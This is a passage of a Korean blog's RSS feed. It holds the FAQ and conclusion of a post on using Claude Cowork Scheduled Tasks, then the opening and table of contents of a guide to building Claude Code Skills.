&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가능한 원인:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독이 만료되었거나 비활성화됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;시간대 설정이 잘못됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작업 설명이 불명확함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;서비스 일시적 장애&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 구독 상태 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정된 시간대가 올바른지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작업 설명을 더 구체적으로 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;잠시 후 다시 시도&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- Q2: 실행 결과가 예상과 다름 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. 실행 결과가 예상과 다릅니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가능한 원인:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작업 설명이 모호함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;충분한 컨텍스트가 제공되지 않음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;복잡한 작업을 한 번에 처리하려고 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작업 설명에 예시와 형식을 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;복잡한 작업을 여러 단계로 나누기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 대시보드에서 실행 로그 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- Q3: 시간대 문제 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. 시간대가 맞지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Cowork 설정 또는 시스템 시간대가 올바르지 않게 설정되어 있을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 설정 &amp;gt; Profile &amp;gt; Timezone 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스케줄 설정에 시간대가 명시되어 있는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;필요시 시간대를 변경 후 스케줄 재설정&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- Q4: 구독 관련 질문 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. 구독이 필요한가요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;답변:&lt;/b&gt; 네, Scheduled Tasks를 사용하려면 &lt;b&gt;Claude Cowork 구독&lt;/b&gt;이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork는 Claude의 유료 협업 기능으로, 예약 작업 외에도 다음 기능을 제공한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;프로젝트 공동 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;파일 공유 및 관리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팀 협업 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;자세한 가격과 플랜은 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cowork 페이지&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q5: 작업 취소 방법 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 예약된 작업을 취소하려면 어떻게 하나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 대시보드에서 &quot;Scheduled Tasks&quot; 또는 &quot;예약된 작업&quot; 탭으로 이동&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;취소할 작업을 찾아 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&quot;삭제&quot; 또는 &quot;비활성화&quot; 버튼 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;확인 메시지에서 변경 사항 저장&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- Q6: 작업 실행 시간 변경 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. 이미 설정한 스케줄의 실행 시간을 변경할 수 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;답변:&lt;/b&gt; 네, 언제든지 스케줄을 수정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;변경 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 대시보드에서 해당 작업 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&quot;편집&quot; 또는 &quot;Edit&quot; 버튼 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스케줄 설정을 원하는 시간으로 변경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&quot;저장&quot;을 클릭하여 변경 사항 적용&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- Q7: 동시 작업 수 제한 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q7. 동시에 실행 가능한 작업 수에 제한이 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;답변:&lt;/b&gt; 정확한 제한 수치는 공개되지 않았지만, 플랜별로 다를 것으로 예상된다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;개인 플랜:&lt;/b&gt; 제한된 수의 동시 작업 가능 예상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;팀 플랜:&lt;/b&gt; 더 많은 동시 작업 가능 예상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Enterprise:&lt;/b&gt; 무제한 또는 대량 가능 예상&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;정확한 제한 사항은 공식 문서에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q8: 오류 대응 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q8. 작업 실행 중 오류가 발생하면 어떻게 되나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오류 처리:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 대시보드에서 오류 메시지 확인 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실행 로그에 실패 원인이 기록됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;일시적 오류의 경우 자동 재시도 예상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지속적인 오류 시 수동 개입 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;권장 작업:&lt;/b&gt; 오류 발생 시 작업 내용을 검토하고, 필요시 더 간단한 작업으로 나누어 재시도한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 주의 박스 --&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 추정: 추가 지원&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 2026년 2월에 발표된 신규 기능이므로, 공식 문서가 완전히 정리되지 않았을 수 있다. 문제가 지속되면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 고객 지원&lt;/a&gt;에 문의하거나 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://community.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티 포럼&lt;/a&gt;에서 도움을 요청한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 10: 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Cowork Scheduled Tasks는 반복적인 작업을 자동화하여 시간을 절약하고 더 중요한 일에 집중할 수 있게 한다. AI의 자연어 이해 능력을 활용하여 기존 자동화 도구보다 더 유연하고 사용하기 쉽다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;AI 기반 자동화:&lt;/b&gt; 자연어로 작업을 설명하면 Claude가 이해하고 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;유연한 스케줄링:&lt;/b&gt; 매일, 매주, 매월 등 다양한 주기 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Cowork 통합:&lt;/b&gt; 다른 Cowork 기능과 원활하게 연동&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;알림 및 추적:&lt;/b&gt; 실행 결과를 쉽게 확인하고 알림 받기&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매일 아침 리포트, 정기적 데이터 정리, 주간 요약 등 다양한 반복 작업을 자동화할 수 있다. Cowork 구독자라면 Scheduled Tasks를 시도해 보자. 복잡한 기술 설정 없이 AI 기반 자동화의 편리함을 경험할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks를 시작하려면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.ai/cowork&lt;/a&gt;에 접속하여 새 작업을 만들고 스케줄을 설정한다. Cowork 구독이 필요하며, 2026년 2월 기준으로 최신 기능이므로 지속적인 업데이트가 예상된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 정보 확인 필요&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문서는 2026년 2월 26일 기준으로 작성되었다. Scheduled Tasks는 신규 기능이므로 일부 정보가 변경되었을 수 있다. 최신 정보는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-top: 40px; padding-top: 20px; border-top: 1px solid #e0e0e0; font-size: 14px; color: #666;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size12&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;br /&gt;- Claude Cowork: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.ai/cowork&lt;/a&gt;&lt;br /&gt;- Anthropic 공식 문서: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.anthropic.com&lt;/a&gt;&lt;br /&gt;- Claude AI 공식 X 계정: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/AnthropicAI&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@AnthropicAI&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 업무 자동화</category>
      <category>Claude Cowork 사용법</category>
      <category>Claude Cowork 예약 작업</category>
      <category>Claude Desktop 활용</category>
      <category>Claude Scheduled Tasks</category>
      <category>Claude 생산성</category>
      <category>Claude 예약 작업</category>
      <category>Claude 자동화</category>
      <category>Cowork 플러그인</category>
      <category>반복 작업 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/529</guid>
      <comments>https://goddaehee.tistory.com/529#entry529comment</comments>
      <pubDate>Fri, 27 Feb 2026 14:00:10 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;Claude Code Skills 사용 방법 : 기본 개념 및 기초 사용방법 정리 (반복되는 프롬프트를 스킬로 변환 해보자)</title>
      <link>https://goddaehee.tistory.com/528</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕! 갓대희다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 Claude Code 사용자라면 꼭 알아야 할 &lt;b&gt;&quot;Claude Skills&quot;&lt;/b&gt; 빌딩 가이드에 대해 알아보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;예전에 스킬에 대해 글을 작성한 지 오래되었고, Skills도 계속 변경되는데 현재 시점(2026.02월)에서의 활용 방법에 대해 다시 한번 정리하고 넘어가려 한다.&lt;br /&gt;&lt;br /&gt;( 클로드 스킬이 처음 나왔을 시기에 작성했던 글도 참고 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/411&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;클로드 스킬(Claude Skills) 사용방법 - Docs,Pptx,Xlsx 스킬 활용 + Custom Skill 등록 해보기&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code기준 Skills와 Plugins의 차이점 이해하기 : 언제 무엇을 사용할까?&lt;/a&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JYHHv/dJMcag5E43i/exW5ZK9kdkD4AYRYFj2Y61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JYHHv/dJMcag5E43i/exW5ZK9kdkD4AYRYFj2Y61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JYHHv/dJMcag5E43i/exW5ZK9kdkD4AYRYFj2Y61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJYHHv%2FdJMcag5E43i%2FexW5ZK9kdkD4AYRYFj2Y61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2286&quot; height=&quot;1534&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;&lt;br /&gt;Claude를 사용하다 보면 자주 반복하는 프롬프트 패턴이 있기 마련이다. 매번 같은 지시를 다시 입력하는 대신, 이를 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Skill로 패키징&lt;/b&gt;&lt;/span&gt;하여 재사용할 수 있다. 이 가이드는 Skills를 구축하는 방법을 다룬다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Skills란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Skills의 정의와 목적&lt;/li&gt;
&lt;li&gt;Model-invoked vs User-invoked&amp;nbsp;&lt;/li&gt;
&lt;li&gt;자동 설치 및 도구 노출&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;SKILL.md 파일 구조 상세
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;YAML Frontmatter (프론트 매터)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;자동 트리거 (Auto-triggers) 동작 방식&amp;nbsp;&lt;/li&gt;
&lt;li&gt;allowed-tools: 도구 접근 제어&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;첫 스킬 10분 완성
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Step-by-step 튜토리얼&lt;/li&gt;
&lt;li&gt;실시간 테스트 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;디렉토리 구조 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개인 vs 프로젝트 스킬&lt;/li&gt;
&lt;li&gt;저장 위치 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스킬 테스트 &amp;amp; 디버깅
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 호출 테스트&lt;/li&gt;
&lt;li&gt;흔한 문제 &amp;amp; 해결법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스킬 테스트 전략 및 반복 개발
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트 피라미드 접근법&lt;/li&gt;
&lt;li&gt;MVP 접근법&lt;/li&gt;
&lt;li&gt;테스트 우선 개발 (Test-First)&lt;/li&gt;
&lt;li&gt;반복적 개발 워크플로우&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Skills vs Plugins vs Slash Commands 선택 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;의사결정 트리&lt;/li&gt;
&lt;li&gt;상황별 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Skill 구조 이해하기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작성 프롬프트 (Composition Prompt)&lt;/li&gt;
&lt;li&gt;공급자 프롬프트 (Provider Prompt)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작성 프롬프트: 3단계 구조
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적 (Purpose)&lt;/li&gt;
&lt;li&gt;명세 (Specification)&lt;/li&gt;
&lt;li&gt;리팩터링 (Refinement)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;공급자 프롬프트의 핵심
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;도구 활용 가이드&lt;/li&gt;
&lt;li&gt;discovery 메커니즘&lt;/li&gt;
&lt;li&gt;설치 방법 안내&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작성 가이드라인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 레시피&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;고급 패턴과 베스트 프랙티스&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스킬 배포와 공유
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배포 채널 비교&lt;/li&gt;
&lt;li&gt;시맨틱 버전 관리&lt;/li&gt;
&lt;li&gt;스킬 공유 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;초급자를 위한 실전 예시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 및 FAQ&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Skills 빌 가이드&lt;/b&gt;&lt;br /&gt;Claude Skills는 자주 사용하는 프롬프트와 도구를 패키징하여 재사용 가능한 기능이다. SKILL.md 파일 형식으로 구성되며 YAML frontmatter와 Markdown 본문으로 작성한다. 이 글에서는 기본 개념부터 실전 레시피까지 단계별로 안내한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Claude Skills란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Claude Skills란 무엇인가&lt;/b&gt;&lt;/h2&gt;
